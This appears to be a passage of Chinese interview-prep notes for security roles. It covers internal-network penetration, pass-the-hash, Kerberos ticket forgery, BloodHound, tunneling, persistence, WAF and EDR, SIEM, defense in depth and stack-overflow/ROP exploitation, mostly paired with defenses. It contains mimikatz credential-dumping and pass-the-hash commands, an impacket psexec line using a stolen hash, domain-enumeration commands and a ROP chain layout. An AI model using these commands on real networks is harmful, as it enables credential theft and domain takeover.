“外网 getshell 只是入场券，内网才是主战场。我的节奏：第一步信息收集——ipconfig 看网段、arp 缓存看邻居、抓本机保存的凭据（mimikatz 一把梭明文和哈希）；第二步判断有没有域——有域就按域渗透打（先摸清域控在哪、当前机器谁登录过），没域就按工作组横向（pass-the-hash 扫网段）；第三步横向，凭据复用是王道——一台机器的密码往往是半个内网的密码；第四步逼近域控（黄金票据或 ACL 滥用），拿下域控等于拿下整个森林。全程注意流量隐蔽，横向尽量走协议原生化（WMI/SMB）少落盘。”

知识点深讲：

1
内网信息收集清单（进入第一台机器后必做）：
2
  网络位置   ipconfig /all（网段、DNS——DNS 服务器常就是域控）
3
             arp -a（二层邻居）  route print（路由暴露多网卡）
4
  身份环境   net config workstation（域名）  systeminfo（打补丁情况）
5
             net user /domain  net group "domain admins" /domain（大人物名单）
6
  本机凭据   mimikatz: lsadump::sam / sekurlsa::logonpasswords
7
             浏览器保存密码、Navicat/SSH 客户端配置里的连接串
8
  域内情报（有域时）nltest /dclist  SPN 扫描  BloodHound 画关系图
9

10
横向优先级（成本从低到高）：
11
  凭据复用（同密码机器直接登） > Pass-the-Hash > RDP/PsExec > 漏洞横向（永恒之蓝）

追问预警：

• 追问：为什么内网”密码复用”这么致命？ → 企业运维常给几十上百台服务器配同一套口令（部署方便），攻陷一台即等于拿到这批机器的钥匙——这是内网失陷快的主因，也是”堡垒机+口令独立化”治理的依据。

Q62. 什么是 Pass-the-Hash（哈希传递）？为什么不需要明文密码？#

一句话答案：Windows 认证协议（NTLM）比对的本来就是哈希而非明文——拿到 NTLM hash 就能直接”以哈希当凭据”通过认证，明文根本不需要。

面试话术：

“根源在 NTLM 质询响应机制：客户端拿’密码的 NTLM 哈希’去加密服务器发来的随机质询，服务器比对结果——全程明文密码根本不参与。所以攻击者从一台机器 dump 出哈希后，直接把哈希塞进认证流程就过了，这就是 PtH。防御上要理解它的克星：禁用 NTLM 改 Kerberos、启用 Credential Guard（VBS 隔离哈希）、限制本地管理员复用（一台的哈希只在一台有效）。”

知识点深讲：

1
NTLM 认证流程（PtH 的温床）：
2
  客户端 → 服务器:  协商
3
  服务器 → 客户端:  质询(随机 8 字节)
4
  客户端:          用 "NTLM hash(密码)" 加密质询 → 回应
5
  服务器:          也算一遍比对（或送域控验证）
6
  ⚠️ 全程没用到明文 → 偷到 hash = 偷到"电子指纹"可直接用
7

8
PtH 实操形态：
9
  mimikatz:  sekurlsa::pth /user:admin /ntlm:<hash> /domain:workgroup
10
  impacket:  psexec.py -hashes :<hash> user@target
11

12
姊妹手法（内网全家桶）：
13
  Pass-the-Ticket    用偷来的 Kerberos 票据（黄金/白银）
14
  OverPass-the-Hash  拿 hash 换取一张合法 Kerberos 票据（更隐蔽）
15
  Pass-the-Key       Kerberos 密钥传递（AES key 时代）

追问预警：

• 追问：怎么防 PtH？ → ① 禁用/限制 NTLM（组策略只留 Kerberos）；② Windows 10+ Credential Guard（哈希存 VBS 隔离区，mimikatz 摸不到）；③ LAPS——每台机器本地管理员密码随机独立，hash 没法横向复用；④ 网络层限制 445/135 的横向自由度。

Q63. 什么是黄金票据和白银票据？区别？#

一句话答案：黄金票据=伪造 TGT（需要拿到 krbtgt 账户的哈希，等于全域通行证）；白银票据=伪造 ST（只需服务账户哈希，只能访问特定服务，但不经 KDC 更隐蔽。

面试话术：

“先补背景：Kerberos 里你去访问任何服务都要两张票——先向 KDC 要 TGT（入场券），再拿 TGT 换访问具体服务的 ST（服务票）。黄金票据是攻击者拿到 krbtgt（KDC 自己的账户）哈希后自己签发 TGT——想写什么权限、什么有效期都行，全域任意服务畅通，等于私造了万能钥匙。白银票据是拿到某服务账户（如 SQL 服务账号）的哈希直接伪造 ST——只对那个服务有效，但不经过 KDC，域控日志里完全没痕迹，更隐蔽。防御核心就一条： krbtgt 密码泄露后必须重置两次，否则旧哈希能一直伪造。”

知识点深讲：

1
Kerberos 三部曲（理解票据的坐标系）：
2
  ① AS-REQ/REP   用户密码哈希加密的时间戳 → KDC 验证 → 发 TGT
3
  ② TGS-REQ/REP  拿 TGT 换访问某服务的 ST（服务票据）
4
  ③ AP-REQ       客户端拿 ST 给服务方 → 服务方用自己的密钥解验证
5

6
黄金票据（伪造 ① 的产物 TGT）：
7
  前提: 拿下域控或 dump 到 krbtgt hash
8
  能力: 任意用户、任意组（含 Domain Admins）、任意有效期
9
  范围: 整个域（森林内其他域要额外信任）
10

11
白银票据（伪造 ② 的产物 ST）：
12
  前提: 服务账户（如 sqlsvc）的 hash
13
  能力: 只能伪造对该服务的访问（cifs/mssql/http...）
14
  特点: 不过 KDC → 域控无日志 → 但服务端事件日志可查（4624 无对应 TGT 请求）
15

16
防御：krtgt 重置（金） + 服务账号改强密钥（银） + PAC 校验 + 监控异常票据

追问预警：

• 追问：怎么发现黄金票据攻击？ → ① 检测”票据里用户不存在于 AD”或”票据有效期异常长”；② 事件日志里 TGT 请求和实际使用对不上；③ 定期重置 krbtgt（半年一次）作为兜底；④ Microsoft 的 Reset the krbtgt account password 官方脚本要跑两遍。

Q64. 域渗透里 BloodHound 是干嘛的？#

一句话答案：把 Active Directory 的用户-组-主机-ACL-会话关系做成图数据库，自动算出”从当前立足点到 Domain Admins 的最短攻击路径”。

面试话术：

“域内对象关系极其复杂——谁在哪个组、哪个 ACL 允许谁改谁的属性、谁登录过哪台机器。BloodHound 用 SharpHound 采集这些关系到 Neo4j 图数据库，然后可视化查询攻击路径：比如’我这台普通机器上曾登录过某运维账号 → 该账号在能重置域管密码的组里’，一条最短路就画出来了。它把’凭直觉翻权限’变成’图算法自动寻路’，是域渗透的指南针。防守方也用它做攻击面梳理——跑一遍看自己最短路有几条，修一条少一条。”

知识点深讲：

1
BloodHound 核心概念：
2
  节点     User / Group / Computer / OU / GPO / Domain
3
  边       MemberOf / AdminTo / HasSession / ACL(GenericAll/WriteDacl...)
4
           AllExtendedRights / ForceChangePassword ...
5

6
高价值边（新手也要知道是什么）：
7
  HasSession          机器上"登录着"某用户 → 控机器可抓该用户凭据
8
  GenericAll          对对象完全控制（改密码/加组）
9
  WriteDacl           能改目标 ACL → 给自己授权
10
  Kerberoastable      用户有 SPN → 服务票据可离线爆破
11

12
查询思维：
13
  "从当前节点到 Domain Admins 最短路径"（内置 Shortest Path 查询）
14
  "哪些用户 Kerberoastable" "哪些机器域管登录过"（横向首选目标）

追问预警：

• 追问：Kerberoasting 是什么？ → 域内任何用户都能请求”有 SPN 的服务账户”的 ST，而 ST 用服务账户密钥加密——拿回家离线爆破。服务账号密码弱就沦陷。防御：服务账号用 25 位以上随机密码（gMSA 托管账户）、监控大量 ST 请求。

Q65. 内网不出网/强隔离时怎么办？隧道技术？#

一句话答案：出不了网就”借道”——ICMP/DNS 隧道穿防火墙，HTTP 正向代理过白名单，被攻击机做跳板纯内网横向。

面试话术：

“先判断’什么能出去’：允许 ping 就 ICMP 隧道（icmshuttle/ptunnel）；允许解析域名就 DNS 隧道（dnscat2），数据藏在子域名的查询里，防火墙一般不敢全禁 DNS；只放 HTTP 代理就正向 HTTP 隧道（reGeorg/Neo-reGeorg，把 webshell 当 socks 代理入口）。出网完全封死就走纯内网路线：拿已控的边界机当跳板，msf 的 route 添加内网路由、socks4a 代理挂上级联，工具链顺着代理去打内网目标——等于在敌后建立根据地。”

知识点深讲：

1
隧道选型表（按"放行什么"选工具）：
2
  放行条件           工具                          原理
3
  ICMP(ping)        icmpsh / ptunnel              数据塞进 echo 包
4
  DNS(53 UDP/TCP)   dnscat2 / iodine              数据编码进子域名查询
5
  HTTP(S)代理       Neo-reGeorg / earthworm       webshell 落地 SOCKS
6
  端口复用          商用 C2 的 domain fronting     CDN/SNI 伪装
7
  全封              msf route + socks4a 级联      跳板机内网路由
8

9
代理链路的典型用法：
10
  边界机 getshell
11
    → ew/neoreGeorg 起正向 socks5
12
    → proxychains 挂代理
13
    → nmap/sqlmap/浏览器 都"透过"边界机视角访问内网
14
  ⚠️ 注意: nmap 走 socks 只能全连接扫描（-sT），SYN 扫描过不了代理

追问预警：

• 追问：DNS 隧道的检测特征？ → 蓝队视角：域名查询频次异常高、子域名长度异常且随机（编码特征）、TXT 记录滥用、查询的域名熵值高——防御侧是 DNS 出口收敛（只允许递归到指定 DNS）+ DGA/隧道检测。

Q66. 常见的权限维持手段？（攻击与防守对照）#

一句话答案：系统层（隐藏账户/注册表 Run/SUID 计划任务）、应用层（webshell 后门/公钥后门）、凭据层（黄金票据/krbtgt 不重置）、AD 层（ACL 滥用/DCSync）。

面试话术：

“权限维持的原则是’多点布控、层层保底’。系统层我常提三类：Linux 的 crontab+authorized_keys 公钥后门最隐蔽，Windows 的注册表 Run 键和计划任务最经典，隐藏账户（$ 结尾或 RID 500 复用）做暗门。应用层留 webshell 变种和内存马（Java Filter/Servlet 型，不落盘）。凭据层就是黄金票据——krbtgt 不重置就永远有效。高级玩法是 AD 对象层：给受控普通账户悄悄加 DCSync 权限，一条 ACL 改动就是永久的’域管替代品’。防守视角反过来：Autoruns 全点位巡检 + 定期 krbtgt 重置 + AD ACL 审计 + 蜜罐陷坑。”

知识点深讲：

1
权限维持矩阵（攻击手法 vs 检测方式，成对背）：
2
  层面      手法                          检测/清除
3
  ─────────────────────────────────────────────────
4
  Linux    authorized_keys 公钥           对比基线、审计 ~/.ssh 写入
5
           crontab 定时反弹               crontab -l 巡检 + 时间线
6
           ld.so.preload 劫持            对比系统文件哈希
7
  Windows  Run 键 / 服务 / 计划任务       Autoruns 全览
8
           隐藏账户 $结尾                 net user 与注册表 SAM 对比
9
           WMI 事件订阅（无文件）          wmic 命令行审计、日志
10
  Web      webshell 变种/内存马           Q32 的动静两路 + RASP
11
  凭据     黄金票据                      krbtgt 双重重置
12
  AD 层    DCSync 权限滥用               BloodHound/ACL 审计
13
           组成员悄悄加人                AD 对象变更审计（4728 等）

追问预警：

• 追问：什么是内存马？ → 把恶意逻辑注入运行中的进程内存（Java 的 Filter/Listener/Controller 型、PHP 的 .htaccess+stream 包装），磁盘上无文件、随进程重启消失——检测靠运行时行为（RASP）和内存取证，重启+镜像重建是粗暴但有效的清除法。

Q67. WAF 的原理？和 IDS/IPS 怎么区分？#

一句话答案：WAF 专注 Web 层（解析 HTTP 语义后做规则匹配，串接可拦截）；IDS 只告警不阻断（旁路镜像流量），IPS 串接且能实时阻断；按”看哪层流量+是否串接”两轴区分。

面试话术：

“我按两个维度分：看什么流量、在哪接入。WAF 只看 HTTP/HTTPS，把请求解析成 URI/参数/Cookie 等结构化字段后跑规则，串接在 Web 前面能直接拦恶意请求；IDS 是旁路镜像流量做特征检测——只报警不动手，优点是不影响业务链路；IPS 串接部署在网络层，发现了直接丢包阻断，代价是误杀时业务跟着挂。IDS/IPS 适合网络层攻击（端口扫描、暴力破解、恶意流量特征），WAF 适合应用层攻击（注入/XSS/webshell），三者互补。”

知识点深讲：

1
部署形态（画出来更清楚）：
2
  互联网 ──► [IPS 串接] ──► 防火墙 ──► [WAF 串接/反向代理] ──► Web 服务器
3
                                  │
4
                              [IDS 旁路镜像]（只看、只报）
5

6
检测技术代际：
7
  特征匹配    规则库（正则/关键字）     漏报多、可绕过（WAF 绕过那套）
8
  语义分析    解析 SQL/JS 语法树再判    更难绕，代表：雷池(SafeLine)社区版思路
9
  机器学习    行为基线 + 异常检测        CC/爬虫识别，误报需运营调优
10

11
HIDS vs NIDS 补充：
12
  NIDS   看网络流量（Snort/Suricata）
13
  HIDS   装在主机上看进程/文件/日志（OSSEC/Wazuh）—— EDR 的前辈

追问预警：

• 追问：WAF 误杀了正常业务怎么办？ → 运营流程：先看拦截日志确认规则 ID → 判断是业务特征撞了规则（如参数里天然含 select 单词的报文）→ 处置是”该规则加白名单/调整置信度”而不是直接全局关规则；成熟的 WAF 起步用”观察模式（只报不拦）“跑两周再切拦截。

Q68. 什么是零信任？“内外网无差别”到底指什么？#

一句话答案：零信任是”永不信任、持续验证”的架构思想——不因为流量来自内网就放行，每次访问都要认证、授权、加密，身份是新的边界。

面试话术：

“传统安全是’城堡模式’：防火墙当护城河，进了内网就当自己人——但一旦攻击者突破边界（钓鱼、VPN 漏洞），内网随便逛。零信任把假设改成’内网同样不可信’：每个访问请求都要验证身份、设备合规性、上下文，最小授权访问具体资源，且是持续验证不是一次登录终身有效。落地组件：统一身份（IAM）、SDP/微隔离（替代网络位置信任）、持续评估策略引擎。Google BeyondCorp 是教科书案例。”

知识点深讲：

1
零信任三大支柱：
2
  身份     人+设备+服务 都是主体，强认证（MFA）+ 设备健康检查
3
  网络     微隔离：东西向流量也默认拒绝，SDP 隐形端口按需开放
4
  应用     每个应用独立授权代理（不再"连通内网=访问一切"）
5

6
和传统架构对比：
7
  传统       VPN 接入 → 整个内网可达 → 单点突破=全盘沦陷
8
  零信任     每请求鉴权 → 只见被授权的应用 → 突破后横向被微隔离卡死
9

10
实施路径（说这个显得落地过）：
11
  分阶段：先对远程访问换 SDP/ZTNA 替代 VPN → 再做应用级动态授权
12
         → 最后东西向微隔离（最难，涉及业务梳理）

追问预警：

• 追问：SDP 和 VPN 的区别？ → VPN 连上=获得网络层可达性（看得见内网结构，可横向扫描）；SDP 是”先认证后连接”，端口对未认证者完全隐形（黑云），且授权到应用不是网段——攻击者连”发现目标”都做不到。

Q69. 什么是等保 2.0？安全岗为什么绕不开它？#

一句话答案：网络安全等级保护制度 2.0——国内信息系统安全的强制性基线框架，按系统重要性分五级定要求，企业安全建设、测评、整改都以它为标尺。

面试话术：

“等保 2.0 是《网络安全法》明确的合规义务：系统按重要程度定级（一到五级），二级以上要备案、测评、整改。技术要求覆盖安全物理环境、通信网络、边界、计算环境、管理中心五大块，管理要求还有制度组织人员等。安全岗绕不开它是因为：安全建设的预算立项、验收都要挂等保；测评前的差距分析（对照要求查缺项）是安服的稳定业务；‘通用要求+扩展要求’结构里云、移动、物联网都有专门扩展。核心思想从 1.0 的’防攻击’升级成’一个中心三重防护’——安全管理中心加安全通信网络、安全区域边界、安全计算环境。”

知识点深讲：

1
等保 2.0 快速记忆：
2
  定级    一级(自主保护)~五级(专门管理)；常见业务系统多为二/三级
3
         二级: 一般系统    三级: 重要系统（年检要求测评）
4
  测评    二级两年一测，三级每年一测（8025 分以上算基本符合）
5
  结构    安全通用要求 + 云安全/移动互联/物联网/工控 扩展要求
6
  核心模型 "一个中心、三重防护"：
7
         管理中心 + 通信网络/区域边界/计算环境 三重防护
8

9
  与关基的关系: 关键信息基础设施保护(关保)在等保三级基础上更严
10
              （明确"重点保护+审查+容灾"等增强要求）
11

12
安服岗的等保相关业务：
13
  差距分析（预评）→ 整改方案（设备+制度）→ 配合正式测评 → 年度复评

追问预警：

• 追问：等保和 ISO27001 的区别？ → 等保是国内法规强制（网络安全法第 21 条），分级分对象；ISO27001 是国际自愿性认证，面向组织整体信息安全管理体系（ISMS）。外企/出海企业常两个都做。

Q70. EDR 和杀毒软件的区别？#

一句话答案：杀软靠特征码”认脸”（见过的病毒才杀）；EDR 持续记录终端行为（进程树、网络、文件操作），用行为链检测未知威胁，并支持远程调查取证。

面试话术：

“杀软的核心是特征匹配——库里有这个病毒的哈希/特征串才拦得住，新病毒和无文件攻击基本裸奔。EDR 是行为视角：它在终端上持续记录’谁启动了谁、访问了什么文件、连了哪些网’，攻击哪怕用 0day，行为链（Word 宏 → powershell -enc → 外连）也是异常的——靠行为图检测，而且记录都在，安全团队可以回放攻击全过程做溯源。一句话：杀软回答’这个文件是不是病毒’，EDR 回答’这台机器上发生过什么’。”

知识点深讲：

1
检测能力代际：
2
  特征码         已知病毒精确匹配         漏: 免杀/变种
3
  启发式/云查杀  静态特征+云端哈希库      漏: 加壳变形
4
  机器学习静态    PE 结构特征分类          误报率敏感
5
  EDR 行为链     进程/文件/注册表/网络事件关联分析   能抓 0day 的"行为指纹"
6

7
EDR 的运营价值（SOC 的地基）：
8
  遥测     全量终端事件流（进程树、hash、命令行）
9
  检测     ATT&CK 技术映射的规则 + 行为图异常
10
  响应     远程隔离主机、杀进程、隔离文件（一台中招全网处置）
11
  取证     时间线回放 → 攻击入口还原
12

13
代表：CrowdStrike Falcon、微软 Defender for Endpoint、奇安信天擎、青藤万相

追问预警：

• 追问：ATT&CK 和 EDR 什么关系？ → ATT&CK 是攻击技术的”分类字典”（战术→技术→流程），EDR 检测规则按它对齐——告警标注”匹配 T1059.001（PowerShell）“这样的技术编号，蓝队按 ATT&CK 矩阵评估自己的检测覆盖率，形成”框架-工具-运营”闭环。

Q71. SIEM/SOC 是什么？日志在其中的角色？#

一句话答案：SOC 是安全运营中心（组织+流程+平台），SIEM 是它的核心平台——把全网日志/告警集中归一化，关联分析出真实事件，驱动响应。

面试话术：

“SOC 是’人+流程+平台’的安全作战单位；SIEM 是平台层：全网设备、主机、应用的日志统一采集（Agent/Syslog），归一化成标准事件格式，然后做关联规则——比如’同一 IP 五分钟内触发防火墙拦截 30 次+登录失败 20 次’单看都是小告警，关联起来就是爆破事件。SIEM 的价值就是从告警海洋里捞出’事件’，好一点的叠 UEBA（行为基线）和 SOAR（自动化剧本）减少人力。运营岗的日常就是盯 SIEM 队列：研判→升级→处置→复盘。”

知识点深讲：

1
SIEM 三大件：
2
  采集归一化    Syslog/Agent/API → 统一字段（src_ip, user, action...）
3
  关联分析      规则引擎（跨源规则是灵魂，单源规则 IDS 也能做）
4
  调查响应     事件链钻取、案例管理、对接工单/SOAR
5

6
配套概念：
7
  UEBA   用户和实体行为基线（"这个账号从没在凌晨三点登录过"）
8
  SOAR   剧本自动化（告警触发 → 自动封 IP → 建工单 → 通知值班）
9
  XDR    EDR+NDR+SIEM 融合的厂商打包升级版
10

11
日志的价值链（呼应你 07 号脚本的经验）：
12
  采集 → 解析 → 归一化 → 关联 → 研判 → 处置
13
  （我写的日志分析脚本就是"解析+统计+特征"环节的手工版，
14
   企业级就是 ELK/Splunk 做同样的事，规模和实时性更强）

追问预警：

• 追问：告警疲劳怎么办？ → 分层治理：① 规则调优（低价值规则降级/合并，用 MITRE 评估覆盖而不是数量）；② 分级响应（低危自动处置、高危人工）；③ SOAR 吸收机械研判；④ 指标化运营（MTTD/MTTR 趋势）；根本解是”减规则数量、提规则质量”。

Q72. 描述纵深防御体系：从边界到数据？#

一句话答案：网络边界（FW/IPS/WAF）→ 主机终端（HIDS/EDR）→ 应用（认证/最小权限/代码审计）→ 数据（加密/脱敏/DLP）→ 管理（制度/演练/备份），层层设防让单点突破不等于全线沦陷。

面试话术：

“纵深防御的哲学是’假设任何一层都会被突破’：边界层防火墙+WAF+IPS 挡住大部分无脑攻击；突破进来后主机层 EDR 盯行为异常，微隔离让横向移动变慢；应用层认证授权做严、代码没有洞；最里面数据层加密存储、DLP 防外带——就算攻击者拿到数据库文件，没密钥也是密文。外加贯穿层：日志集中审计、备份 3-2-1、应急演练。考核一个企业安全成熟度，就是看’攻破任意一层后，下一层能不能接住’。”

知识点深讲：

1
纵深防御分层图（由外到内）：
2
  ┌ 数据层      加密(AES)+脱敏+DLP+水印      ← 最后的资产保护
3
  ├ 应用层      认证/授权/审计 + 安全开发(SDL)
4
  ├ 主机层      EDR/HIDS + 基线加固 + 最小服务
5
  ├ 网络层      微隔离(东西向) + NDR
6
  ├ 边界层      FW + IPS + WAF + 零信任接入   ← 第一道墙
7
  └ 贯穿全程    集中日志(SIEM) + 备份演练 + 威胁情报 + 员工意识
8

9
每层的"接得住"检验（红队视角自测）：
10
  边界破了 → 微隔离+EDR 能不能发现横向？
11
  终端破了 → 数据加密+DLP 能不能防窃取？
12
  单点凭据泄露 → MFA+最小权限能不能限损？
13
  任何一层失守 → 备份能不能恢复业务？（最后的兜底也是纵深的一层）

追问预警：

• 追问：哪一层最重要？ → 陷阱题，正确姿势是”层间配合比单层强度重要”——最强的 WAF 配上裸奔的数据层照样泄露；最弱的边界配上严格的数据加密和快速响应也能扛。安全是木桶，而且现代思路更强调可检测可响应（假设失陷）而不是筑更高的墙。

Q73. 程序从源码到运行经历了什么？静态链接和动态链接区别？#

一句话答案：预处理 → 编译（汇编码）→ 汇编（机器码 .o）→ 链接（拼库成可执行文件）；静态链接把库整个拷进文件（大而独立），动态链接运行时加载 so/dll（小但依赖环境）。

面试话术：

“以 gcc 为例：预处理展开宏和头文件，编译成汇编，汇编器生成目标文件，链接器把多个 .o 和库拼成可执行文件。链接两种方式：静态链接把 libc 等库代码直接复制进二进制——文件大，但扔到任何机器都能跑；动态链接只在运行时加载共享库（Linux 的 .so、Windows 的 dll）——文件小、内存共享、库升级不用重编程序，代价是依赖目标机器的库版本。逆向视角这个区别很关键：静态链接的二进制里 printf 的逻辑直接在文件里，动态链接则要去分析 PLT/GOT 这些’跳转中介’。”

知识点深讲：

1
gcc hello.c -o hello 背后：
2
  预处理 cpp     #include 展开、宏替换        → hello.i
3
  编译  cc1      生成汇编                     → hello.s
4
  汇编  as       汇编→机器码目标文件          → hello.o
5
  链接  ld       符号解析+地址重定位          → hello (ELF)
6

7
动态链接的逆向相关结构：
8
  PLT    过程链接表：调用外部函数的跳板（plt 段每项对应一个库函数）
9
  GOT    全局偏移表：运行时动态链接器(ld.so)填充真实地址
10
  Lazy Binding  第一次调用才解析地址 → 也可 LD_BIND_NOW 全提前解析
11
  GOT 劫持攻击   覆写 GOT 项让合法调用跳到恶意函数（经典漏洞类别）
12

13
ELF 文件结构速览（逆向基本功）：
14
  .text 代码    .data 已初始化数据    .bss 未初始化数据
15
  .rodata 常量（字符串常在这）       .symtab 符号表（strip 后消失）

追问预警：

• 追问：strip 过的二进制怎么逆向？ → 符号表被删、函数没名字，只能靠特征识别：库函数指纹（FLIRT/签名匹配）、字符串和常量定位（Crypto 常量 0x67452301 一眼 MD5）、调用约定和栈帧形状归纳功能，耐心和工具链（IDA 的 FindCrypto 等插件）并用。

Q74. 栈溢出的原理？怎么利用？#

一句话答案：往栈上缓冲区写入超过其长度的数据，淹没返回地址——把返回地址改成攻击者控制的位置（shellcode 或 ROP 链）实现劫持执行流。

面试话术：

“函数调用时返回地址存在栈帧里，strcpy 这类不检查长度的函数写入超长数据时，会一路淹没局部变量、canary、saved ebp，最后覆写返回地址——函数 return 时 CPU 就跳到攻击者写的地址。经典利用是往返回地址填 shellcode 的地址（配合 JMP ESP 等跳板），现代开了 NX 后 shellcode 进不了栈，改用 ROP：在返回地址后面连续布置’碎片地址’，每个都指向一段以 ret 结尾的小指令序列，串起来完成 system(‘/bin/sh’)。”

知识点深讲：

1
栈帧结构（从高地址到低地址）：
2
  ┌ 参数
3
  ├ 返回地址 (RIP/EIP)      ← 溢出的最终目标
4
  ├ saved EBP/RBP
5
  ├ Canary（金丝雀值）       ← 溢出必先破坏它（若开启）
6
  └ 局部缓冲区 [buf]         ← 溢出起点，从这里往高地址写
7

8
利用姿势演进史（讲这个=懂发展脉络）：
9
  1990s   直接 shellcode 地址 + NOP 滑板
10
  NX 开   → ret2libc：返回到 system()，参数放 "/bin/sh"
11
  ASLR 开 → 信息泄露先拿地址，再精确覆盖
12
  Canary  → 泄露 canary 或改写绕过（格式化字符串漏洞可偷 canary）
13
  全开    → ROP 链 + 一次地址泄露，现代标准打法
14

15
长度确定：cyclic pattern（pwntools cyclic / IDA 看缓冲区大小）

追问预警：

• 追问：溢出怎么定位偏移？ → pwntools 生成 cyclic 模式（每 4 字节唯一可反查），发送后看崩溃时 EIP 的值，cyclic_find() 反解出偏移——这就是 08 号 exp 模板里”padding 长度是逆向测出来的精确数字”的出处。

Q75. 什么是 ROP？#

一句话答案：Return-Oriented Programming——用程序里现成的以 ret 结尾的指令碎片（gadget）串成”攻击者想要的逻辑”，绕过 NX（数据不可执行）。

面试话术：

“NX 让栈上的数据不能执行，但程序自己的代码段永远可执行。ROP 的思路：不再注入代码，而是’调度’现有代码——在每个 gadget 的地址后面接着放下一个 gadget 地址，ret 指令像链条一样把执行流串起来。比如找 pop rdi; ret 给函数传参、再接 system 的地址，就完成了 system(‘/bin/sh’)。工具上 ROPgadget/ropper 扫 gadget，pwntools 的 ROP 类自动编排。它证明了’数据不可执行’挡不住聪明的调度攻击。”

知识点深讲：

1
ROP 链形状（64 位 Linux，调用 system("/bin/sh")）：
2
  栈布局（自低向高）:
3
    [ pop rdi; ret 的地址 ]      ← gadget1：把栈上下一项弹给 rdi
4
    [ "/bin/sh" 字符串地址 ]     ← rdi = 参数
5
    [ system 函数地址 ]          ← gadget 的 ret 跳到这里
6

7
为什么能绕 NX：
8
  NX 只禁止"执行栈/堆上的数据"；ROP 执行的全是 .text 里的合法指令
9
  攻击者控制的是"数据流里的地址序列"，CPU 分不清这是谁的意图
10

11
gadget 获取：
12
  ROPgadget --binary ./chall | grep "pop rdi"
13
  ret2csu / SROP：gadget 稀少时的进阶调度技术（了解名词即可）

追问预警：

• 追问：栈迁移是什么？ → 栈空间太小放不下 ROP 链时，用 leave; ret 类 gadget 把 rsp 指向攻击者控制的 bss/堆区域，把链”搬”过去再执行——空间不够就换战场。

Q76. 常见的二进制保护机制？（checksec 四件套）#

一句话答案：NX（数据不可执行）、Canary（栈金丝雀防溢出）、PIE（地址随机化）、RELRO（GOT 只读）——checksec 一眼看全。

面试话术：

“拿到题先 checksec，四件套逐个看：NX 开了就不能栈上跑 shellcode，改 ROP；Canary 开了说明栈溢出要先偷金丝雀值（格式化字符串漏洞是经典偷法）再原样填回；PIE 开了代码段地址随机，需要先信息泄露一个代码地址算基址；RELRO Full 说明 GOT 表改不了，ret2libc 老套路里的 GOT 劫持失效。四项的组合直接决定利用路线，所以是逆向题的第一眼。”

知识点深讲：

1
checksec 输出对照：
2
  RELRO          STACK CANARY    NX        PIE
3
  Partial/Full   Found/None      Enabled   Enabled
4

5
保护机制 vs 破解思路（攻防对照，核心记忆表）：
6
  NX            数据页不可执行        → ROP / ret2libc
7
  Canary        函数返回前校验金丝雀   → 偷泄露 / __stack_chk_fail 利用
8
                （__libc_csu_init 等绕过法已随 libc 更新失效，老文别背）
9
  PIE/ASLR      代码段地址随机        → 先泄露任意代码地址算基址（一次泄露打满）
10
  Full RELRO    GOT 运行时只读        → 放弃 GOT 劫持，走纯 ROP
11
  Fortify       危险函数替换加强版    → 构造绕过（_chk 系列检测长度）
12

13
加固视角（蓝队话术）：
14
  编译选项 -fstack-protector-strong / -z noexecstack / -pie / -z relro
15
  现代编译器默认全开（clang/gcc 的 hardened 默认），旧二进制才是裸奔重灾区

追问预警：